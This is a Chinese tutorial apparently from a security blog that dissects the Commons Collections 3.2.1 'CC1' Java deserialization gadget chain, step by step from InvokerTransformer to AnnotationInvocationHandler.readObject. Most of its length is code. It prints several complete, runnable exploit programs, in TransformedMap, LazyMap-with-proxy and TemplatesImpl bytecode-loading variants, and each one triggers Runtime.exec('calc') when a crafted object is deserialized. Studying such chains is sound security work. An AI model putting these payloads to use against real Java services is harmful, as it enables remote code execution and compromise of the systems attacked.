CC1链 分析 环境要求:jdk8u65,Commons-Collections 3.2.1
入口类这里,我们需要一个 readObject
方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下。
Common-Collections介绍
Apache Commons 是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
终点-利用点 CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。
快捷键ctrl+alt+B,查看实现接口的类
我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求。
下面给出InvokerTransformer类的构造器和重写的transform方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class InvokerTransformer implements Transformer , Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; private InvokerTransformer (String methodName) { super (); iMethodName = methodName; iParamTypes = null ; iArgs = null ; } public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } } }
这边的参数都是可控的,同时重写的transform方法可以调用任意类的任意方法。
1 2 3 4 5 6 7 8 9 10 11 12 Runtime r=Runtime.getRuntime(); class c =r.getClass();Method m=c.getMethod("exec" ,String.class); m.invoke(r,"calc" ); Runtime r=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(r);
这里成功执行了命令,那么现在我们已经寻到入口点了,接下来需要一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类。
所以我们下一步的目标是去找调用 transform
方法的不同名函数。
寻找哪些类中的哪些方法调用了transform方法
右键查看用法即可
那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法
下面我们直接给出构造器和checkSetValue方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #TransformedMap.java public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
但是这里我们发现构造器和checkSetValue方法都是protected权限的,只能本类内部访问,无法外部调用和实例化,那么我们就需要找到内部实例化的工具。也就是上面的一个public静态方法decorate。
我们可以通过调用decorate方法来实例化TransformedMap类,然后再想办法调用checkSetValue方法。
1 2 3 4 5 6 7 8 9 10 11 Runtime r=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); Map<Object,Object> transformedmap=TransformedMap.decorate(map,null ,invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue" , Object.class);checkSetValueMethod.setAccessible(true ); checkSetValueMethod.invoke(transformedmap,r);
构造链子第二步-寻找checkSetValue调用处 checkSetValue寻找用法,发现只有一处调用了checkSetValue(AbstractInputCheckedMapDecorator类的setValue)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法
而上面副类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法,
1 2 3 4 5 6 7 public abstract class AbstractMapEntryDecorator implements Map .Entry, KeyValue { ... protected final Map.Entry entry; ... public Object setValue (Object object) { return entry.setValue(object); }
而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法:
1 2 3 4 5 6 7 8 9 10 Runtime r=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); map.put("meteorkai" ,"meteorkai" ); Map<Object,Object> transformedmap=TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry:transformedmap.entrySet()){ entry.setValue(r); }
到这里我们先重头理一下:
首先,我们找到了TransformedMap这个类,我们需要调用它的checkSetValue方法从而来调用transform方法,但是这个类的构造器和checkSetValue方法都是protected权限,只能从类中访问,所以我们需要用decorate方法来实例化这个类。在此之前我们需要实例化一个hashmap,因为decorate方法中需要传入,并且调用put方法给他赋值以便他遍历map从而调用setValue方法。然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰巧又遇到了重写的setValue的副类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环。
但这只是一个小插曲,终究不是我们所希望的readObject方法,我们需要一个readObject方法来代替上述的遍历Map功能。
构造链子第三步-寻找setValue调用处-链首 如果能找到一个 readObject()
里面调用了 setValue()
就太好了
老样子,setValue寻找用法。我勒个豆,直接发现一个调用了setValue的readObject方法。很完美的实现了代替之前Map遍历功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private static final long serialVersionUID = 6182022883658399397L ; private final Class<? extends Annotation > type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; } private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
可以看到这个类中的memberValues是可控的,这样我们就看传入自己需要的,然后实现setValue方法。根据前面的entry.setValue,那么这里的memberValue就要相当于entry,memberValues就相当于是transformedmap。
但是这里有个问题,就是我们可以看到定义这个类的时候,并没有public之类的声明,那么说明这个类只能在本包下被调用(sun.reflect.annotation),我们想要在外部调用,就需要进行反射。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static void main (String[] args) throws Exception { Runtime r=Runtime.getRuntime(); InvokerTransformer invokertransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> map=new HashMap <>(); map.put("meteorkai" ,"meteorkai" ); Map<Object,Object> transformedmap=TransformedMap.decorate(map,null ,invokertransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o=constructor.newInstance(Override.class,transformedmap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); }
但是,当我们满怀期待执行这串代码时,并没有弹出计算器!其实这段代码还是存在很多缺陷的。我们往下分析
弥补链子缺陷 一、Runtime类不能序列化
我们跟进Runtime类可以发现他并没有继承serializable接口,不能进行序列化。
此时我们可以通过反射来获取Runtime类的原型类,它的原型类class是存在serializable接口的,Runtime.class
是可以序列化的。
那么我们如何获得一个实例化对象呢?可以看到这里存在一个静态的getRuntime()方法,会返回一个Runtime对象,相当于是一种单例模式。
1 2 3 4 5 Class rr=Class.forName("java.lang.Runtime" ); Method getRuntime=rr.getDeclaredMethod("getRuntime" ,null ); Runtime r=(Runtime)getRuntime.invoke(null ,null ); Method exec=rr.getDeclaredMethod("exec" ,String.class); exec.invoke(r,"calc" );
上述这样就可以实现序列化,那么接下来我们用transform来实现
1 2 3 4 5 6 7 8 9 10 11 12 Class rr=Class.forName("java.lang.Runtime" ); Method getRuntime=(Method)new Invokertransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(Runtime.class); Runtime r=(Runtime)new Invokertransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getRuntime); new Invokertransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法
1 2 3 4 5 6 7 8 9 10 Class rr=Class.forName("java.lang.Runtime" ); Transformer[] transformers=new Transformer []{ new Invokertransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new Invokertransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new Invokertransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedtransformer=new Chainedtransformer (transformers); chainedtransformer.transform(Runtime.class);
第一个问题-Runtime类不能序列化-成功解决,但依然没有弹出计算器。
不只一个问题。
二、绕过AnnotationInvocationHandler类readObject方法中的判断条件
这里存在两处判断需要绕过
1 2 if (memberType != null) { if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
首先看第一个判断语句,是对memberType进行判断的。跟踪memberType,是从memberTypes来的,memberTypes又是从annotationType.memberTypes();来的,而annotationType又是从annotationType = AnnotationType.getInstance(type);来的。
那么其实就是从type来的。
type其实是从构造器传参来的
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
再回头看我们对构造器的传参,发现type对应Override.class,这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的
1 Object o=constructor.newInstance(Override.class,transformedmap);
而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value即可通过两个判断。
但是依然不能弹计算器。
三、checkSetValue传入值不是Runtime.class
我们可以发现readObject方法中setValue传入的参数并不是Runtime.class,而是一个奇奇怪怪的东西。
我们这里找到了一个能够解决 setValue
可控参数的类 ———— ConstantTransformer
。
我们看到这个类里面也有transform,和构造器配合使用的话,我们传入什么值,就会返回某个值,这样就能将value的值转为Runtime.class
因此接下来给出我们的最终EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public static void main (String[] args) throws Exception { Class rr=Class.forName("java.lang.Runtime" ); Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedtransformer=new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> transformedmap=TransformedMap.decorate(map,null ,chainedtransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o=constructor.newInstance(Target.class,transformedmap); unserialize("ser.bin" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
成功弹出计算器。
接下来叙述一下整条cc1链的流程
正版CC1链分析-lazyMap 终点-利用点-exec方法 漏洞点与上面一样,还是InvokerTransformer
在InvokerTransformer#transform下寻找用法
LazyMap的get方法调用了transform方法且get方法的作用域为public
那么我们看看factory是什么
可以知道factory是LazyMap构造器的参数,同时我们可以通过decorate来new一个LazyMap对象,factory是可以由我们自己决定的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.util.Map;public class cc1_lazymap { public static void main (String[] args) throws Exception { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> hashmap=new HashMap <>(); Map decoratemap=LazyMap.decorate(hashmap,invokerTransformer); Class<LazyMap> lazymapclass=LazyMap.class; Method lazygetmethod=lazymapclass.getDeclaredMethod("get" ,Object.class); lazygetmethod.setAccessible(true ); lazygetmethod.invoke(decoratemap,runtime); } }
目前证明这条链是可行的,我们继续往上走,最终目标是找到入口类的 readObject
方法。
然后我们的目标就是找谁调用了get方法
最终在 AnnotationInvocationHandler.invoke()
方法中找到了有一个地方调用了 get()
方法。
这里其实可以类比成让memberValues为LazyMap即可。
同时这个类也非常好,它里面有 readObject()
方法,可以作为我们的入口类。
那么接下来我们要关注的就是如何触发invoke()方法
需要触发 invoke
方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke()
方法。我们去找一找能利用的地方
在这里调用了 entrySet()
方法,也就是说,如果我们将 memberValues
的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke()
方法,最终完成整条链子的调用。membervalues是构造器需要传入的参数。
那么这里就是要先让membervalues为lazymap再设置动态代理。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class lazymap_zong { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class, Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap<Object,Object>hashmap=new HashMap <>(); Map decorateMap= LazyMap.decorate(hashmap,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler annotationinvocationhandler=(InvocationHandler) constructor.newInstance(Override.class,decorateMap); Map proxymap=(Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class []{Map.class},annotationinvocationhandler); annotationinvocationhandler=(InvocationHandler)constructor.newInstance(Override.class,proxymap); serialize(annotationinvocationhandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (Files.newOutputStream(Paths.get("ser.bin" ))); oos.writeObject(obj); } public static Object unserialize (String name) throws IOException, ClassNotFoundException { ObjectInputStream ois=new ObjectInputStream (Files.newInputStream(Paths.get(name))); Object obj=ois.readObject(); return obj; } }
链子整理 1 2 3 4 5 6 7 8 9 10 调用链 Invokertransformer#transform LazyMap#get Annotationinvocationhandler#readObject 辅助链 ChainedTransformer ConstantTransformer HashMap Map(Proxy)#entrySet
这里直接借用别人的流程图吧
CC1 链的 TemplatesImpl 的实现方式 cc3中得到的思路
TemplatesImpl 只是将原本的命令执行变成代码执行的方式所以在不考虑黑名单的情况下,如果可以进行命令执行,则一定可以通过动态加载字节码进行代码执行。
所以这里我们先尝试修改命令执行的方法,这时候的链子应该是从后往前的,也就是确定了命令执行的方式之后,将传参设置为动态加载的字节码。并且前面的链子不变。
暂时的 EXP 是这样的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class templatesImpldynamicclass { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class templateClass=templates.getClass(); Field nameField=templateClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Meteor" ); Field bytecodesfield=templateClass.getDeclaredField("_bytecodes" ); bytecodesfield.setAccessible(true ); byte [] evil= Files.readAllBytes(Paths.get("D:\\code\\calc.class" )); byte [][] codes={evil}; bytecodesfield.set(templates,codes); Field tfactoryfield=templateClass.getDeclaredField("_tfactory" ); tfactoryfield.setAccessible(true ); tfactoryfield.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); chainedTransformer.transform(1 ); } }
最后一句,传入 chainedTransformer.transform(1)
是因为前面我们定义了 new ConstantTransformer(templates)
,这个类是需要我们传参的,传入 1 即可。
OK,弹计算器成功,接下来是把 CC1 链的前半部分拿进去。
完整的 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class templatesImpldynamicclass { public static void main (String[] args) throws Exception { TemplatesImpl templates=new TemplatesImpl (); Class templateClass=templates.getClass(); Field nameField=templateClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"Meteor" ); Field bytecodesfield=templateClass.getDeclaredField("_bytecodes" ); bytecodesfield.setAccessible(true ); byte [] evil= Files.readAllBytes(Paths.get("D:\\code\\calc.class" )); byte [][] codes={evil}; bytecodesfield.set(templates,codes); Field tfactoryfield=templateClass.getDeclaredField("_tfactory" ); tfactoryfield.setAccessible(true ); tfactoryfield.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap<Object,Object> map=new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null ,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o=constructor.newInstance(Target.class,transformedmap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); ois.readObject(); } }
然后是 Yso 正版链子的 TemplatesImpl 的实现方式。
EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class ysotemplate { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates, "Meteor" ); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D:\\code\\calc.class" )); byte [][] codes = {evil}; bytecodesField.set(templates, codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader() , new Class []{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serialize(invocationHandler); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }